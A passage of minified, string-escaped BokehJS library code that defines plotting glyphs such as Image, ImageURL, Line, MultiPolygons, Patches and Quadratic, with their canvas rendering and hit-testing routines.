l=a.getContext(\\\"2d\\\"),h=l.getImageData(0,0,this._width[e],this._height[e]),u=t.v_compute(n);h.data.set(u),l.putImageData(h,0,0),this.image_data[e]=a,this.max_dw=0,\\\"data\\\"==this.model.properties.dw.units&&(this.max_dw=c.max(this._dw)),this.max_dh=0,\\\"data\\\"==this.model.properties.dh.units&&(this.max_dh=c.max(this._dh))}},t.prototype._map_data=function(){switch(this.model.properties.dw.units){case\\\"data\\\":this.sw=this.sdist(this.renderer.xscale,this._x,this._dw,\\\"edge\\\",this.model.dilate);break;case\\\"screen\\\":this.sw=this._dw}switch(this.model.properties.dh.units){case\\\"data\\\":this.sh=this.sdist(this.renderer.yscale,this._y,this._dh,\\\"edge\\\",this.model.dilate);break;case\\\"screen\\\":this.sh=this._dh}},t.prototype._render=function(t,e,i){var n=i.image_data,r=i.sx,o=i.sy,s=i.sw,a=i.sh,l=t.getImageSmoothingEnabled();t.setImageSmoothingEnabled(!1),t.globalAlpha=this.model.global_alpha;for(var h=0,u=e;h<u.length;h++){var c=u[h];if(null!=n[c]&&!isNaN(r[c]+o[c]+s[c]+a[c])){var _=o[c];t.translate(0,_),t.scale(1,-1),t.translate(0,-_),t.drawImage(n[c],0|r[c],0|o[c],s[c],a[c]),t.translate(0,_),t.scale(1,-1),t.translate(0,-_)}}t.setImageSmoothingEnabled(l)},t.prototype.bounds=function(){var t=this.index.bbox;return t.maxX+=this.max_dw,t.maxY+=this.max_dh,t},t}(r.XYGlyphView);i.ImageView=a;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Image\\\",this.prototype.default_view=a,this.define({image:[s.NumberSpec],dw:[s.DistanceSpec],dh:[s.DistanceSpec],dilate:[s.Bool,!1],global_alpha:[s.Number,1],color_mapper:[s.Instance,function(){return new o.LinearColorMapper({palette:[\\\"#000000\\\",\\\"#252525\\\",\\\"#525252\\\",\\\"#737373\\\",\\\"#969696\\\",\\\"#bdbdbd\\\",\\\"#d9d9d9\\\",\\\"#f0f0f0\\\",\\\"#ffffff\\\"]})}]})},t}(r.XYGlyph);(i.Image=h).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(15),f=t(21),s=function(i){function t(){return null!==i&&i.apply(this,arguments)||this}return n.__extends(t,i),t.prototype.initialize=function(t){var e=this;i.prototype.initialize.call(this,t),this.connect(this.model.properties.global_alpha.change,function(){return e.renderer.request_render()})},t.prototype._set_data=function(t){null!=this.image_data&&this.image_data.length==this._image.length||(this.image_data=new Array(this._image.length)),null!=this._width&&this._width.length==this._image.length||(this._width=new Array(this._image.length)),null!=this._height&&this._height.length==this._image.length||(this._height=new Array(this._image.length));for(var e=0,i=this._image.length;e<i;e++)if(!(null!=t&&t.indexOf(e)<0)){var n=void 0;if(null!=this._image_shape&&0<this._image_shape[e].length){n=this._image[e].buffer;var r=this._image_shape[e];this._height[e]=r[0],this._width[e]=r[1]}else{var o=this._image[e],s=f.concat(o);n=new ArrayBuffer(4*s.length);for(var a=new Uint32Array(n),l=0,h=s.length;l<h;l++)a[l]=s[l];this._height[e]=o.length,this._width[e]=o[0].length}var u=this.image_data[e],c=void 0;null!=u&&u.width==this._width[e]&&u.height==this._height[e]?c=u:((c=document.createElement(\\\"canvas\\\")).width=this._width[e],c.height=this._height[e]);var _=c.getContext(\\\"2d\\\"),p=_.getImageData(0,0,this._width[e],this._height[e]),d=new Uint8Array(n);p.data.set(d),_.putImageData(p,0,0),this.image_data[e]=c,this.max_dw=0,\\\"data\\\"==this.model.properties.dw.units&&(this.max_dw=f.max(this._dw)),this.max_dh=0,\\\"data\\\"==this.model.properties.dh.units&&(this.max_dh=f.max(this._dh))}},t.prototype._map_data=function(){switch(this.model.properties.dw.units){case\\\"data\\\":this.sw=this.sdist(this.renderer.xscale,this._x,this._dw,\\\"edge\\\",this.model.dilate);break;case\\\"screen\\\":this.sw=this._dw}switch(this.model.properties.dh.units){case\\\"data\\\":this.sh=this.sdist(this.renderer.yscale,this._y,this._dh,\\\"edge\\\",this.model.dilate);break;case\\\"screen\\\":this.sh=this._dh}},t.prototype._render=function(t,e,i){var n=i.image_data,r=i.sx,o=i.sy,s=i.sw,a=i.sh,l=t.getImageSmoothingEnabled();t.setImageSmoothingEnabled(!1),t.globalAlpha=this.model.global_alpha;for(var h=0,u=e;h<u.length;h++){var c=u[h];if(!isNaN(r[c]+o[c]+s[c]+a[c])){var _=o[c];t.translate(0,_),t.scale(1,-1),t.translate(0,-_),t.drawImage(n[c],0|r[c],0|o[c],s[c],a[c]),t.translate(0,_),t.scale(1,-1),t.translate(0,-_)}}t.setImageSmoothingEnabled(l)},t.prototype.bounds=function(){var t=this.index.bbox;return t.maxX+=this.max_dw,t.maxY+=this.max_dh,t},t}(r.XYGlyphView);i.ImageRGBAView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ImageRGBA\\\",this.prototype.default_view=s,this.define({image:[o.NumberSpec],dw:[o.DistanceSpec],dh:[o.DistanceSpec],global_alpha:[o.Number,1],dilate:[o.Bool,!1]})},t}(r.XYGlyph);(i.ImageRGBA=a).initClass()},function(t,e,m){var n=t(391),i=t(146),g=t(14),r=t(15),y=t(22),o=t(37);m.CanvasImage=Image;var s=function(i){function t(){var t=null!==i&&i.apply(this,arguments)||this;return t._images_rendered=!1,t}return n.__extends(t,i),t.prototype.initialize=function(t){var e=this;i.prototype.initialize.call(this,t),this.connect(this.model.properties.global_alpha.change,function(){return e.renderer.request_render()})},t.prototype._index_data=function(){return new o.SpatialIndex([])},t.prototype._set_data=function(){var n=this;null!=this.image&&this.image.length==this._url.length||(this.image=y.map(this._url,function(){return null}));var t=this.model,r=t.retry_attempts,o=t.retry_timeout;this.retries=y.map(this._url,function(){return r});for(var e=function(t,e){if(null==s._url[t])return\\\"continue\\\";var i=new m.CanvasImage;i.onerror=function(){0<n.retries[t]?(g.logger.trace(\\\"ImageURL failed to load \\\"+n._url[t]+\\\" image, retrying in \\\"+o+\\\" ms\\\"),setTimeout(function(){return i.src=n._url[t]},o)):g.logger.warn(\\\"ImageURL unable to load \\\"+n._url[t]+\\\" image after \\\"+r+\\\" retries\\\"),n.retries[t]-=1},i.onload=function(){n.image[t]=i,n.renderer.request_render()},i.src=s._url[t]},s=this,i=0,a=this._url.length;i<a;i++)e(i,a);for(var l=\\\"data\\\"==this.model.properties.w.units,h=\\\"data\\\"==this.model.properties.h.units,u=this._x.length,c=new Array(l?2*u:u),_=new Array(h?2*u:u),i=0;i<u;i++)c[i]=this._x[i],_[i]=this._y[i];if(l)for(var i=0;i<u;i++)c[u+i]=this._x[i]+this._w[i];if(h)for(var i=0;i<u;i++)_[u+i]=this._y[i]+this._h[i];var p=y.min(c),d=y.max(c),f=y.min(_),v=y.max(_);this._bounds_rect={minX:p,maxX:d,minY:f,maxY:v}},t.prototype.has_finished=function(){return i.prototype.has_finished.call(this)&&1==this._images_rendered},t.prototype._map_data=function(){var t=null!=this.model.w?this._w:y.map(this._x,function(){return NaN}),e=null!=this.model.h?this._h:y.map(this._x,function(){return NaN});switch(this.model.properties.w.units){case\\\"data\\\":this.sw=this.sdist(this.renderer.xscale,this._x,t,\\\"edge\\\",this.model.dilate);break;case\\\"screen\\\":this.sw=t}switch(this.model.properties.h.units){case\\\"data\\\":this.sh=this.sdist(this.renderer.yscale,this._y,e,\\\"edge\\\",this.model.dilate);break;case\\\"screen\\\":this.sh=e}},t.prototype._render=function(t,e,i){var n=i.image,r=i.sx,o=i.sy,s=i.sw,a=i.sh,l=i._angle,h=this.renderer.plot_view.frame;t.rect(h._left.value+1,h._top.value+1,h._width.value-2,h._height.value-2),t.clip();for(var u=!0,c=0,_=e;c<_.length;c++){var p=_[c];if(!isNaN(r[p]+o[p]+l[p])&&-1!=this.retries[p]){var d=n[p];null!=d?this._render_image(t,p,d,r,o,s,a,l):u=!1}}u&&!this._images_rendered&&(this._images_rendered=!0,this.notify_finished())},t.prototype._final_sx_sy=function(t,e,i,n,r){switch(t){case\\\"top_left\\\":return[e,i];case\\\"top_center\\\":return[e-n/2,i];case\\\"top_right\\\":return[e-n,i];case\\\"center_right\\\":return[e-n,i-r/2];case\\\"bottom_right\\\":return[e-n,i-r];case\\\"bottom_center\\\":return[e-n/2,i-r];case\\\"bottom_left\\\":return[e,i-r];case\\\"center_left\\\":return[e,i-r/2];case\\\"center\\\":return[e-n/2,i-r/2]}},t.prototype._render_image=function(t,e,i,n,r,o,s,a){isNaN(o[e])&&(o[e]=i.width),isNaN(s[e])&&(s[e]=i.height);var l=this.model.anchor,h=this._final_sx_sy(l,n[e],r[e],o[e],s[e]),u=h[0],c=h[1];t.save(),t.globalAlpha=this.model.global_alpha,a[e]?(t.translate(u,c),t.rotate(a[e]),t.drawImage(i,0,0,o[e],s[e]),t.rotate(-a[e]),t.translate(-u,-c)):t.drawImage(i,u,c,o[e],s[e]),t.restore()},t.prototype.bounds=function(){return this._bounds_rect},t}(i.XYGlyphView);m.ImageURLView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ImageURL\\\",this.prototype.default_view=s,this.define({url:[r.StringSpec],anchor:[r.Anchor,\\\"top_left\\\"],global_alpha:[r.Number,1],angle:[r.AngleSpec,0],w:[r.DistanceSpec],h:[r.DistanceSpec],dilate:[r.Bool,!1],retry_attempts:[r.Number,0],retry_timeout:[r.Number,0]})},t}(i.XYGlyph);(m.ImageURL=a).initClass()},function(t,e,i){var n=t(114);i.AnnularWedge=n.AnnularWedge;var r=t(115);i.Annulus=r.Annulus;var o=t(116);i.Arc=o.Arc;var s=t(117);i.Bezier=s.Bezier;var a=t(120);i.Circle=a.Circle;var l=t(119);i.CenterRotatable=l.CenterRotatable;var h=t(121);i.Ellipse=h.Ellipse;var u=t(122);i.EllipseOval=u.EllipseOval;var c=t(123);i.Glyph=c.Glyph;var _=t(124);i.HBar=_.HBar;var p=t(125);i.HexTile=p.HexTile;var d=t(126);i.Image=d.Image;var f=t(127);i.ImageRGBA=f.ImageRGBA;var v=t(128);i.ImageURL=v.ImageURL;var m=t(130);i.Line=m.Line;var g=t(131);i.MultiLine=g.MultiLine;var y=t(132);i.MultiPolygons=y.MultiPolygons;var b=t(133);i.Oval=b.Oval;var x=t(134);i.Patch=x.Patch;var w=t(135);i.Patches=w.Patches;var k=t(136);i.Quad=k.Quad;var S=t(137);i.Quadratic=S.Quadratic;var C=t(138);i.Ray=C.Ray;var T=t(139);i.Rect=T.Rect;var A=t(140);i.Segment=A.Segment;var E=t(141);i.Step=E.Step;var M=t(142);i.Text=M.Text;var O=t(144);i.VBar=O.VBar;var z=t(145);i.Wedge=z.Wedge;var P=t(146);i.XYGlyph=P.XYGlyph},function(t,e,i){var n=t(391),r=t(146),a=t(143),c=t(9),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._render=function(t,e,i){var n=i.sx,r=i.sy,o=!1,s=null;this.visuals.line.set_value(t);for(var a=0,l=e;a<l.length;a++){var h=l[a];if(o){if(!isFinite(n[h]+r[h])){t.stroke(),t.beginPath(),o=!1,s=h;continue}null!=s&&1<h-s&&(t.stroke(),o=!1)}o?t.lineTo(n[h],r[h]):(t.beginPath(),t.moveTo(n[h],r[h]),o=!0),s=h}o&&t.stroke()},e.prototype._hit_point=function(t){for(var e=this,i=c.create_empty_hit_test_result(),n={x:t.sx,y:t.sy},r=9999,o=Math.max(2,this.visuals.line.line_width.value()/2),s=0,a=this.sx.length-1;s<a;s++){var l={x:this.sx[s],y:this.sy[s]},h={x:this.sx[s+1],y:this.sy[s+1]},u=c.dist_to_segment(n,l,h);u<o&&u<r&&(r=u,i.add_to_selected_glyphs(this.model),i.get_view=function(){return e},i.line_indices=[s])}return i},e.prototype._hit_span=function(t){var e,i,n=this,r=t.sx,o=t.sy,s=c.create_empty_hit_test_result();\\\"v\\\"==t.direction?(e=this.renderer.yscale.invert(o),i=this._y):(e=this.renderer.xscale.invert(r),i=this._x);for(var a=0,l=i.length-1;a<l;a++)(i[a]<=e&&e<=i[a+1]||i[a+1]<=e&&e<=i[a])&&(s.add_to_selected_glyphs(this.model),s.get_view=function(){return n},s.line_indices.push(a));return s},e.prototype.get_interpolation_hit=function(t,e){var i=[this._x[t],this._y[t],this._x[t+1],this._y[t+1]],n=i[0],r=i[1],o=i[2],s=i[3];return a.line_interpolation(this.renderer,e,n,r,o,s)},e.prototype.draw_legend_for_index=function(t,e,i){a.generic_line_legend(this.visuals,t,e,i)},e}(r.XYGlyphView);i.LineView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Line\\\",this.prototype.default_view=o,this.mixins([\\\"line\\\"])},t}(r.XYGlyph);(i.Line=s).initClass()},function(t,e,i){var n=t(391),m=t(37),d=t(9),f=t(32),g=t(21),y=t(44),r=t(123),l=t(143),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_data=function(){for(var t=[],e=0,i=this._xs.length;e<i;e++)if(null!=this._xs[e]&&0!==this._xs[e].length){for(var n=this._xs[e],r=[],o=0,s=n.length;o<s;o++){var a=n[o];y.isStrictNaN(a)||r.push(a)}for(var l=this._ys[e],h=[],o=0,s=l.length;o<s;o++){var u=l[o];y.isStrictNaN(u)||h.push(u)}var c=[g.min(r),g.max(r)],_=c[0],p=c[1],d=[g.min(h),g.max(h)],f=d[0],v=d[1];t.push({minX:_,minY:f,maxX:p,maxY:v,i:e})}return new m.SpatialIndex(t)},e.prototype._render=function(t,e,i){for(var n=i.sxs,r=i.sys,o=0,s=e;o<s.length;o++){var a=s[o],l=[n[a],r[a]],h=l[0],u=l[1];this.visuals.line.set_vectorize(t,a);for(var c=0,_=h.length;c<_;c++)0!=c?isNaN(h[c])||isNaN(u[c])?(t.stroke(),t.beginPath()):t.lineTo(h[c],u[c]):(t.beginPath(),t.moveTo(h[c],u[c]));t.stroke()}},e.prototype._hit_point=function(t){for(var e=d.create_empty_hit_test_result(),i={x:t.sx,y:t.sy},n=9999,r={},o=0,s=this.sxs.length;o<s;o++){for(var a=Math.max(2,this.visuals.line.cache_select(\\\"line_width\\\",o)/2),l=null,h=0,u=this.sxs[o].length-1;h<u;h++){var c={x:this.sxs[o][h],y:this.sys[o][h]},_={x:this.sxs[o][h+1],y:this.sys[o][h+1]},p=d.dist_to_segment(i,c,_);p<a&&p<n&&(n=p,l=[h])}l&&(r[o]=l)}return e.indices=f.keys(r).map(function(t){return parseInt(t,10)}),e.multiline_indices=r,e},e.prototype._hit_span=function(t){var e,i,n=t.sx,r=t.sy,o=d.create_empty_hit_test_result();\\\"v\\\"===t.direction?(e=this.renderer.yscale.invert(r),i=this._ys):(e=this.renderer.xscale.invert(n),i=this._xs);for(var s={},a=0,l=i.length;a<l;a++){for(var h=[],u=0,c=i[a].length-1;u<c;u++)i[a][u]<=e&&e<=i[a][u+1]&&h.push(u);0<h.length&&(s[a]=h)}return o.indices=f.keys(s).map(function(t){return parseInt(t,10)}),o.multiline_indices=s,o},e.prototype.get_interpolation_hit=function(t,e,i){var n=[this._xs[t][e],this._ys[t][e],this._xs[t][e+1],this._ys[t][e+1]],r=n[0],o=n[1],s=n[2],a=n[3];return l.line_interpolation(this.renderer,i,r,o,s,a)},e.prototype.draw_legend_for_index=function(t,e,i){l.generic_line_legend(this.visuals,t,e,i)},e.prototype.scenterx=function(){throw new Error(\\\"not implemented\\\")},e.prototype.scentery=function(){throw new Error(\\\"not implemented\\\")},e}(r.GlyphView);i.MultiLineView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"MultiLine\\\",this.prototype.default_view=o,this.coords([[\\\"xs\\\",\\\"ys\\\"]]),this.mixins([\\\"line\\\"])},t}(r.Glyph);(i.MultiLine=s).initClass()},function(t,e,i){var n=t(391),h=t(37),r=t(123),o=t(143),u=t(21),s=t(22),x=t(9),m=t(44),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_data=function(){for(var t=[],e=0,i=this._xs.length;e<i;e++)for(var n=0,r=this._xs[e].length;n<r;n++){var o=this._xs[e][n][0],s=this._ys[e][n][0];0!=o.length&&t.push({minX:u.min(o),minY:u.min(s),maxX:u.max(o),maxY:u.max(s),i:e})}return this.hole_index=this._index_hole_data(),new h.SpatialIndex(t)},e.prototype._index_hole_data=function(){for(var t=[],e=0,i=this._xs.length;e<i;e++)for(var n=0,r=this._xs[e].length;n<r;n++)if(1<this._xs[e][n].length)for(var o=1,s=this._xs[e][n].length;o<s;o++){var a=this._xs[e][n][o],l=this._ys[e][n][o];0!=a.length&&t.push({minX:u.min(a),minY:u.min(l),maxX:u.max(a),maxY:u.max(l),i:e})}return new h.SpatialIndex(t)},e.prototype._mask_data=function(){var t=this.renderer.plot_view.frame.x_ranges.default,e=[t.min,t.max],i=e[0],n=e[1],r=this.renderer.plot_view.frame.y_ranges.default,o=[r.min,r.max],s=o[0],a=o[1],l=x.validate_bbox_coords([i,n],[s,a]),h=this.index.indices(l);return h.sort(function(t,e){return t-e}).filter(function(t,e,i){return 0===e||t!==i[e-1]})},e.prototype._render=function(t,e,i){var n=i.sxs,r=i.sys;if(this.visuals.fill.doit||this.visuals.line.doit)for(var o=0,s=e;o<s.length;o++){var a=s[o];t.beginPath();for(var l=0,h=n[a].length;l<h;l++)for(var u=0,c=n[a][l].length;u<c;u++){for(var _=n[a][l][u],p=r[a][l][u],d=0,f=_.length;d<f;d++)0!=d?t.lineTo(_[d],p[d]):t.moveTo(_[d],p[d]);t.closePath()}this.visuals.fill.doit&&(this.visuals.fill.set_vectorize(t,a),t.fill(\\\"evenodd\\\")),this.visuals.line.doit&&(this.visuals.line.set_vectorize(t,a),t.stroke())}},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n=this.renderer.xscale.invert(e),r=this.renderer.yscale.invert(i),o=this.index.indices({minX:n,minY:r,maxX:n,maxY:r}),s=this.hole_index.indices({minX:n,minY:r,maxX:n,maxY:r}),a=[],l=0,h=o.length;l<h;l++)for(var u=o[l],c=this.sxs[u],_=this.sys[u],p=0,d=c.length;p<d;p++){var f=c[p].length;if(x.point_in_poly(e,i,c[p][0],_[p][0]))if(1==f)a.push(u);else if(-1==s.indexOf(u))a.push(u);else if(1<f){for(var v=!1,m=1;m<f;m++){var g=c[p][m],y=_[p][m];if(x.point_in_poly(e,i,g,y)){v=!0;break}}v||a.push(u)}}var b=x.create_empty_hit_test_result();return b.indices=a,b},e.prototype._get_snap_coord=function(t){return s.sum(t)/t.length},e.prototype.scenterx=function(t,e,i){if(1==this.sxs[t].length)return this._get_snap_coord(this.sxs[t][0][0]);for(var n=this.sxs[t],r=this.sys[t],o=0,s=n.length;o<s;o++)if(x.point_in_poly(e,i,n[o][0],r[o][0]))return this._get_snap_coord(n[o][0]);throw new Error(\\\"unreachable code\\\")},e.prototype.scentery=function(t,e,i){if(1==this.sys[t].length)return this._get_snap_coord(this.sys[t][0][0]);for(var n=this.sxs[t],r=this.sys[t],o=0,s=n.length;o<s;o++)if(x.point_in_poly(e,i,n[o][0],r[o][0]))return this._get_snap_coord(r[o][0]);throw new Error(\\\"unreachable code\\\")},e.prototype.map_data=function(){for(var t=this,e=0,i=this.model._coords;e<i.length;e++){var n=i[e],r=n[0],o=n[1],s=\\\"s\\\"+r,a=\\\"s\\\"+o;if(o=\\\"_\\\"+o,null!=t[r=\\\"_\\\"+r]&&(m.isArray(t[r][0])||m.isTypedArray(t[r][0]))){var l=t[r].length;t[s]=new Array(l),t[a]=new Array(l);for(var h=0;h<l;h++){var u=t[r][h].length;t[s][h]=new Array(u),t[a][h]=new Array(u);for(var c=0;c<u;c++){var _=t[r][h][c].length;t[s][h][c]=new Array(_),t[a][h][c]=new Array(_);for(var p=0;p<_;p++){var d=this.map_to_screen(t[r][h][c][p],t[o][h][c][p]),f=d[0],v=d[1];t[s][h][c][p]=f,t[a][h][c][p]=v}}}}}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e}(r.GlyphView);i.MultiPolygonsView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"MultiPolygons\\\",this.prototype.default_view=a,this.coords([[\\\"xs\\\",\\\"ys\\\"]]),this.mixins([\\\"line\\\",\\\"fill\\\"])},t}(r.Glyph);(i.MultiPolygons=l).initClass()},function(t,e,i){var n=t(391),r=t(122),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._map_data=function(){var t,e=this._x.length;this.sw=new Float64Array(e),t=\\\"data\\\"==this.model.properties.width.units?this.sdist(this.renderer.xscale,this._x,this._width,\\\"center\\\"):this._width;for(var i=0;i<e;i++)this.sw[i]=.75*t[i];\\\"data\\\"==this.model.properties.height.units?this.sh=this.sdist(this.renderer.yscale,this._y,this._height,\\\"center\\\"):this.sh=this._height},e}(r.EllipseOvalView);i.OvalView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Oval\\\",this.prototype.default_view=o},t}(r.EllipseOval);(i.Oval=s).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(143),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._render=function(t,e,i){var n=i.sx,r=i.sy;if(this.visuals.fill.doit){this.visuals.fill.set_value(t);for(var o=0,s=e;o<s.length;o++){var a=s[o];0!=a?isNaN(n[a]+r[a])?(t.closePath(),t.fill(),t.beginPath()):t.lineTo(n[a],r[a]):(t.beginPath(),t.moveTo(n[a],r[a]))}t.closePath(),t.fill()}if(this.visuals.line.doit){this.visuals.line.set_value(t);for(var l=0,h=e;l<h.length;l++){var a=h[l];0!=a?isNaN(n[a]+r[a])?(t.closePath(),t.stroke(),t.beginPath()):t.lineTo(n[a],r[a]):(t.beginPath(),t.moveTo(n[a],r[a]))}return t.closePath(),t.stroke()}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e}(r.XYGlyphView);i.PatchView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Patch\\\",this.prototype.default_view=s,this.mixins([\\\"line\\\",\\\"fill\\\"])},t}(r.XYGlyph);(i.Patch=a).initClass()},function(t,e,i){var n=t(391),h=t(37),r=t(123),o=t(143),u=t(21),s=t(22),l=t(44),f=t(9),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._build_discontinuous_object=function(t){for(var e=[],i=0,n=t.length;i<n;i++){e[i]=[];for(var r=u.copy(t[i]);0<r.length;){var o=u.findLastIndex(r,function(t){return l.isStrictNaN(t)}),s=void 0;0<=o?s=r.splice(o):(s=r,r=[]);var a=s.filter(function(t){return!l.isStrictNaN(t)});e[i].push(a)}}return e},e.prototype._index_data=function(){for(var t=this._build_discontinuous_object(this._xs),e=this._build_discontinuous_object(this._ys),i=[],n=0,r=this._xs.length;n<r;n++)for(var o=0,s=t[n].length;o<s;o++){var a=t[n][o],l=e[n][o];0!=a.length&&i.push({minX:u.min(a),minY:u.min(l),maxX:u.max(a),maxY:u.max(l),i:n})}return new h.SpatialIndex(i)},e.prototype._mask_data=function(){var t=this.renderer.plot_view.frame.x_ranges.default,e=[t.min,t.max],i=e[0],n=e[1],r=this.renderer.plot_view.frame.y_ranges.default,o=[r.min,r.max],s=o[0],a=o[1],l=f.validate_bbox_coords([i,n],[s,a]),h=this.index.indices(l);return h.sort(function(t,e){return t-e})},e.prototype._render=function(t,e,i){var n=i.sxs,r=i.sys;this.sxss=this._build_discontinuous_object(n),this.syss=this._build_discontinuous_object(r);for(var o=0,s=e;o<s.length;o++){var a=s[o],l=[n[a],r[a]],h=l[0],u=l[1];if(this.visuals.fill.doit){this.visuals.fill.set_vectorize(t,a);for(var c=0,_=h.length;c<_;c++)0!=c?isNaN(h[c]+u[c])?(t.closePath(),t.fill(),t.beginPath()):t.lineTo(h[c],u[c]):(t.beginPath(),t.moveTo(h[c],u[c]));t.closePath(),t.fill()}if(this.visuals.line.doit){this.visuals.line.set_vectorize(t,a);for(var c=0,_=h.length;c<_;c++)0!=c?isNaN(h[c]+u[c])?(t.closePath(),t.stroke(),t.beginPath()):t.lineTo(h[c],u[c]):(t.beginPath(),t.moveTo(h[c],u[c]));t.closePath(),t.stroke()}}},e.prototype._hit_point=function(t){for(var e=t.sx,i=t.sy,n=this.renderer.xscale.invert(e),r=this.renderer.yscale.invert(i),o=this.index.indices({minX:n,minY:r,maxX:n,maxY:r}),s=[],a=0,l=o.length;a<l;a++)for(var h=o[a],u=this.sxss[h],c=this.syss[h],_=0,p=u.length;_<p;_++)f.point_in_poly(e,i,u[_],c[_])&&s.push(h);var d=f.create_empty_hit_test_result();return d.indices=s,d},e.prototype._get_snap_coord=function(t){return s.sum(t)/t.length},e.prototype.scenterx=function(t,e,i){if(1==this.sxss[t].length)return this._get_snap_coord(this.sxs[t]);for(var n=this.sxss[t],r=this.syss[t],o=0,s=n.length;o<s;o++)if(f.point_in_poly(e,i,n[o],r[o]))return this._get_snap_coord(n[o]);throw new Error(\\\"unreachable code\\\")},e.prototype.scentery=function(t,e,i){if(1==this.syss[t].length)return this._get_snap_coord(this.sys[t]);for(var n=this.sxss[t],r=this.syss[t],o=0,s=n.length;o<s;o++)if(f.point_in_poly(e,i,n[o],r[o]))return this._get_snap_coord(r[o]);throw new Error(\\\"unreachable code\\\")},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_area_legend(this.visuals,t,e,i)},e}(r.GlyphView);i.PatchesView=a;var c=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Patches\\\",this.prototype.default_view=a,this.coords([[\\\"xs\\\",\\\"ys\\\"]]),this.mixins([\\\"line\\\",\\\"fill\\\"])},t}(r.Glyph);(i.Patches=c).initClass()},function(t,e,i){var n=t(391),r=t(118),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.get_anchor_point=function(t,e,i){var n=Math.min(this.sleft[e],this.sright[e]),r=Math.max(this.sright[e],this.sleft[e]),o=Math.min(this.stop[e],this.sbottom[e]),s=Math.max(this.sbottom[e],this.stop[e]);switch(t){case\\\"top_left\\\":return{x:n,y:o};case\\\"top_center\\\":return{x:(n+r)/2,y:o};case\\\"top_right\\\":return{x:r,y:o};case\\\"center_right\\\":return{x:r,y:(o+s)/2};case\\\"bottom_right\\\":return{x:r,y:s};case\\\"bottom_center\\\":return{x:(n+r)/2,y:s};case\\\"bottom_left\\\":return{x:n,y:s};case\\\"center_left\\\":return{x:n,y:(o+s)/2};case\\\"center\\\":return{x:(n+r)/2,y:(o+s)/2};default:return null}},e.prototype.scenterx=function(t){return(this.sleft[t]+this.sright[t])/2},e.prototype.scentery=function(t){return(this.stop[t]+this.sbottom[t])/2},e.prototype._index_data=function(){return this._index_box(this._right.length)},e.prototype._lrtb=function(t){var e=this._left[t],i=this._right[t],n=this._top[t],r=this._bottom[t];return[e,i,n,r]},e}(r.BoxView);i.QuadView=o;var s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Quad\\\",this.prototype.default_view=o,this.coords([[\\\"right\\\",\\\"bottom\\\"],[\\\"left\\\",\\\"top\\\"]])},t}(r.Box);(i.Quad=s).initClass()},function(t,e,i){var n=t(391),h=t(37),r=t(123),o=t(143);function u(t,e,i){if(e==(t+i)/2)return[t,i];var n=(t-e)/(t-2*e+i),r=t*Math.pow(1-n,2)+2*e*(1-n)*n+i*Math.pow(n,2);return[Math.min(t,i,r),Math.max(t,i,r)]}var s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._index_data=function(){for(var t=[],e=0,i=this._x0.length;e<i;e++)if(!isNaN(this._x0[e]+this._x1[e]+this._y0[e]+this._y1[e]+this._cx[e]+this._cy[e])){var n=u(this._x0[e],this._cx[e],this._x1[e]),r=n[0],o=n[1],s=u(this._y0[e],this._cy[e],this._y1[e]),a=s[0],l=s[1];t.push({minX:r,minY:a,maxX:o,maxY:l,i:e})}return new h.SpatialIndex(t)},e.prototype._render=function(t,e,i){var n=i.sx0,r=i.sy0,o=i.sx1,s=i.sy1,a=i.scx,l=i.scy;if(this.visuals.line.doit)for(var h=0,u=e;h<u.length;h++){var c=u[h];isNaN(n[c]+r[c]+o[c]+s[c]+a[c]+l[c])||(t.beginPath(),t.moveTo(n[c],r[c]),t.quadraticCurveTo(a[c],l[c],o[c],s[c]),this.visuals.line.set_vectorize(t,c),t.stroke())}},e.prototype.draw_legend_for_index=function(t,e,i){o.generic_line_legend(this.visuals,t,e,i)},e.prototype.scenterx=function(){throw new Error(\\\"not implemented\\\")},e.prototype.scentery=function(){throw new Error(\\\"not implemented\\\")},e}(r.GlyphView);i.QuadraticView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Quadratic\\\",this.prototype.default_view=s,this.coords([[\\\"x0\\\",\\\"y0\\\"],[\\\"x1\\\",\\\"y1\\\"],[\\\"cx\\\",\\\"cy\\\"]]),this.mixins([\\\"line\\\"])},t}(r.Glyph);(i.Quadratic=a).initClass()},function(t,e,i){var n=t(391),r=t(146),o=t(143),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return 